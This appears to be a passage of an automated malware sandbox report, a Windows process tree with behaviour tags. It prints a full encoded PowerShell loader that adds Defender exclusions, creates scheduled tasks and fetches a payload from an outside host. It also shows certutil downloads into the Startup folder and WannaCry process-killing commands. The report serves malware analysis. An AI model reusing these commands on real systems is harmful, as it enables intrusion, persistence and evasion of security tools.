                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=
                      5⤵
                      • Badlisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:3296
                      • C:\Windows\system32\attrib.exe
                        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
                        6⤵
                        • Views/modifies file attributes
                        PID:2880
                      • C:\Windows\system32\attrib.exe
                        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
                        6⤵
                        • Views/modifies file attributes
                        PID:912
                      • C:\Windows\system32\reg.exe
                        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
                        6⤵
                          PID:4564
                        • C:\Windows\system32\reg.exe
                          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
                          6⤵
                            PID:3976
                          • C:\Windows\system32\reg.exe
                            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
                            6⤵
                              PID:4932
                            • C:\Windows\system32\gpupdate.exe
                              "C:\Windows\system32\gpupdate.exe" /force /target:computer
                              6⤵
                                PID:4828
                              • C:\Windows\system32\schtasks.exe
                                "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
                                6⤵
                                • Scheduled Task/Job: Scheduled Task
                                PID:3976
                              • C:\Windows\system32\schtasks.exe
                                "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
                                6⤵
                                • Scheduled Task/Job: Scheduled Task
                                PID:5868
                              • C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
                                "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
                                6⤵
                                • Executes dropped EXE
                                PID:5584
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
                            4⤵
                              PID:1588
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2528
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5708
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
                              4⤵
                                PID:2060
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
                                4⤵
                                  PID:1548
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
                                  4⤵
                                    PID:4052
                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                    "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
                                    4⤵
                                      PID:1548
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
                                      4⤵
                                        PID:4432
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
                                        4⤵
                                          PID:7200
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
                                          4⤵
                                            PID:7040
                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                            "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
                                            4⤵
                                              PID:2436
                                        • C:\Users\Admin\AppData\Local\Temp\Files\rustdesk-1.2.3-2-x86_64.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Files\rustdesk-1.2.3-2-x86_64.exe"
                                          2⤵
                                          • Executes dropped EXE
                                          • Suspicious use of WriteProcessMemory
                                          PID:3660
                                          • C:\Windows\system32\taskkill.exe
                                            "taskkill" /F /IM RuntimeBroker_rustdesk.exe
                                            3⤵
                                            • Kills process with taskkill
                                            PID:1368
                                          • C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
                                            "C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SetWindowsHookEx
                                            • Suspicious use of WriteProcessMemory
                                            PID:1676
                                            • C:\Windows\system32\icacls.exe
                                              "icacls" C:\ProgramData\RustDesk /grant *S-1-1-0:(OI)(CI)F /T
                                              4⤵
                                              • Modifies file permissions
                                              PID:720
                                            • C:\Windows\system32\icacls.exe
                                              "icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T
                                              4⤵
                                              • Modifies file permissions
                                              PID:1484
                                            • C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
                                              "C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service
                                              4⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:5024
                                              • C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
                                                "C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --run-as-system
                                                5⤵
                                                • Executes dropped EXE
                                                • Drops file in Windows directory
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:4200
                                            • C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
                                              "C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe" --check-hwcodec-config
                                              4⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              PID:1968
                                            • C:\Windows\system32\cmd.exe
                                              "cmd" /c "taskkill /F /IM RuntimeBroker_rustdesk.exe"
                                              4⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:6008
                                              • C:\Windows\system32\taskkill.exe
                                                taskkill /F /IM RuntimeBroker_rustdesk.exe
                                                5⤵
                                                • Kills process with taskkill
                                                PID:972
                                        • C:\Users\Admin\AppData\Local\Temp\Files\Steanings.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Files\Steanings.exe"
                                          2⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:5936
                                        • C:\Users\Admin\AppData\Local\Temp\Files\up.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Files\up.exe"
                                          2⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          • Checks SCSI registry key(s)
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:3064
                                        • C:\Users\Admin\AppData\Local\Temp\Files\CG100.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Files\CG100.exe"
                                          2⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:2976
                                        • C:\Users\Admin\AppData\Local\Temp\Files\tomatoleizhutizy.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Files\tomatoleizhutizy.exe"
                                          2⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:3008
                                        • C:\Users\Admin\AppData\Local\Temp\Files\Thimble.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Files\Thimble.exe"
                                          2⤵
                                          • Executes dropped EXE
                                          PID:5112
                                        • C:\Users\Admin\AppData\Local\Temp\Files\downloader.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Files\downloader.exe"
                                          2⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:796
                                          • C:\Windows\system32\cmd.exe
                                            "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\288D.tmp\288E.tmp\288F.bat C:\Users\Admin\AppData\Local\Temp\Files\downloader.exe"
                                            3⤵
                                              PID:1444
                                              • C:\Windows\system32\certutil.exe
                                                certutil -urlcache -split -f https://tobecation.github.io/TSL/042523503165_0creeper.ico "C:\ProgramData\aaabb.ico"
                                                4⤵
                                                  PID:5940
                                                • C:\Windows\system32\certutil.exe
                                                  certutil -urlcache -split -f https://tobecation.github.io/TSL/042523503165_0creeper.ico delete
                                                  4⤵
                                                    PID:5744
                                                  • C:\Windows\system32\certutil.exe
                                                    certutil -urlcache -split -f https://cdn-hsyq-dynamic-file.shanhutech.cn/home/bird/birdpaper_home.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1000.exe"
                                                    4⤵
                                                      PID:4412
                                                    • C:\Windows\system32\certutil.exe
                                                      certutil -urlcache -split -f https://cdn-hsyq-dynamic-file.shanhutech.cn/home/bird/birdpaper_home.exe delete
                                                      4⤵
                                                        PID:1988
                                                      • C:\Windows\system32\certutil.exe
                                                        certutil -urlcache -split -f https://www.flash.cn/cdm/latest/flashplayerpp_ax_install_cn_fc.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1001.exe"
                                                        4⤵
                                                          PID:2448
                                                        • C:\Windows\system32\certutil.exe
                                                          certutil -urlcache -split -f https://www.flash.cn/cdm/latest/flashplayerpp_ax_install_cn_fc.exe delete
                                                          4⤵
                                                            PID:3152
                                                          • C:\Windows\system32\certutil.exe
                                                            certutil -urlcache -split -f https://dl.2345.com/pic/2345pic_x64_v11.5.0.11638.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1002.exe"
                                                            4⤵
                                                              PID:4528
                                                        • C:\Users\Admin\AppData\Local\Temp\Files\IcarusLite-v1.1.13-win.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\Files\IcarusLite-v1.1.13-win.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          PID:1564
                                                          • C:\Users\Admin\AppData\Local\Temp\Files\IcarusLite-v1.1.13-win.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\Files\IcarusLite-v1.1.13-win.exe"
                                                            3⤵
                                                            • Executes dropped EXE
                                                            • System Location Discovery: System Language Discovery
                                                            PID:1056
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c title Icarus Lite
                                                              4⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:1100
                                                        • C:\Users\Admin\AppData\Local\Temp\Files\build.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\Files\build.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:5088
                                                        • C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:5200
                                                        • C:\Users\Admin\AppData\Local\Temp\Files\RoxanneIQ6.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\Files\RoxanneIQ6.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2416
                                                        • C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • Drops file in Program Files directory
                                                          PID:4984
                                                        • C:\Users\Admin\AppData\Local\Temp\Files\TrainJX2.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\Files\TrainJX2.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          PID:1100
                                                        • C:\Users\Admin\AppData\Local\Temp\Files\ZJQPPAJN.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\Files\ZJQPPAJN.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          PID:4616
                                                          • C:\Users\Admin\AppData\Local\Temp\PReflector64.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"
                                                            3⤵
                                                            • Executes dropped EXE
                                                            • System Location Discovery: System Language Discovery
                                                            PID:1984
                                                            • C:\ProgramData\bnv_Valid\PReflector64.exe
                                                              C:\ProgramData\bnv_Valid\PReflector64.exe
                                                              4⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetThreadContext
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious behavior: MapViewOfSection
                                                              PID:4948
                                                              • C:\Users\Admin\AppData\Local\SignHandler.exe
                                                                C:\Users\Admin\AppData\Local\SignHandler.exe
                                                                5⤵
                                                                  PID:6732
                                                                • C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe
                                                                  "C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" "C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" /u
                                                                  5⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:6496
                                                          • C:\Users\Admin\AppData\Local\Temp\Files\qcoin141.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\Files\qcoin141.exe"
                                                            2⤵
                                                            • Executes dropped EXE
                                                            • System Location Discovery: System Language Discovery
                                                            PID:1292
                                                          • C:\Users\Admin\AppData\Local\Temp\Files\prueba.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\Files\prueba.exe"
                                                            2⤵
                                                            • Executes dropped EXE
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious use of FindShellTrayWindow
                                                            • Suspicious use of SendNotifyMessage
                                                            PID:1988
                                                          • C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN7.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN7.exe"
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:1256
                                                          • C:\Users\Admin\AppData\Local\Temp\Files\WannaCry.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\Files\WannaCry.exe"
                                                            2⤵
                                                            • Drops startup file
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            PID:2140
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c 116021782380210.bat
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:2444
                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                cscript //nologo c.vbs
                                                                4⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:5788
                                                            • C:\Users\Admin\AppData\Local\Temp\Files\!WannaDecryptor!.exe
                                                              !WannaDecryptor!.exe f
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:3904
                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                              taskkill /f /im MSExchange*
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              • Kills process with taskkill
                                                              PID:6572
                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                              taskkill /f /im Microsoft.Exchange.*
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              • Kills process with taskkill
                                                              PID:6580
                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                              taskkill /f /im sqlserver.exe
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              • Kills process with taskkill
                                                              PID:6588
                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                              taskkill /f /im sqlwriter.exe
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              • Kills process with taskkill
                                                              PID:6596
                                                            • C:\Users\Admin\AppData\Local\Temp\Files\!WannaDecryptor!.exe
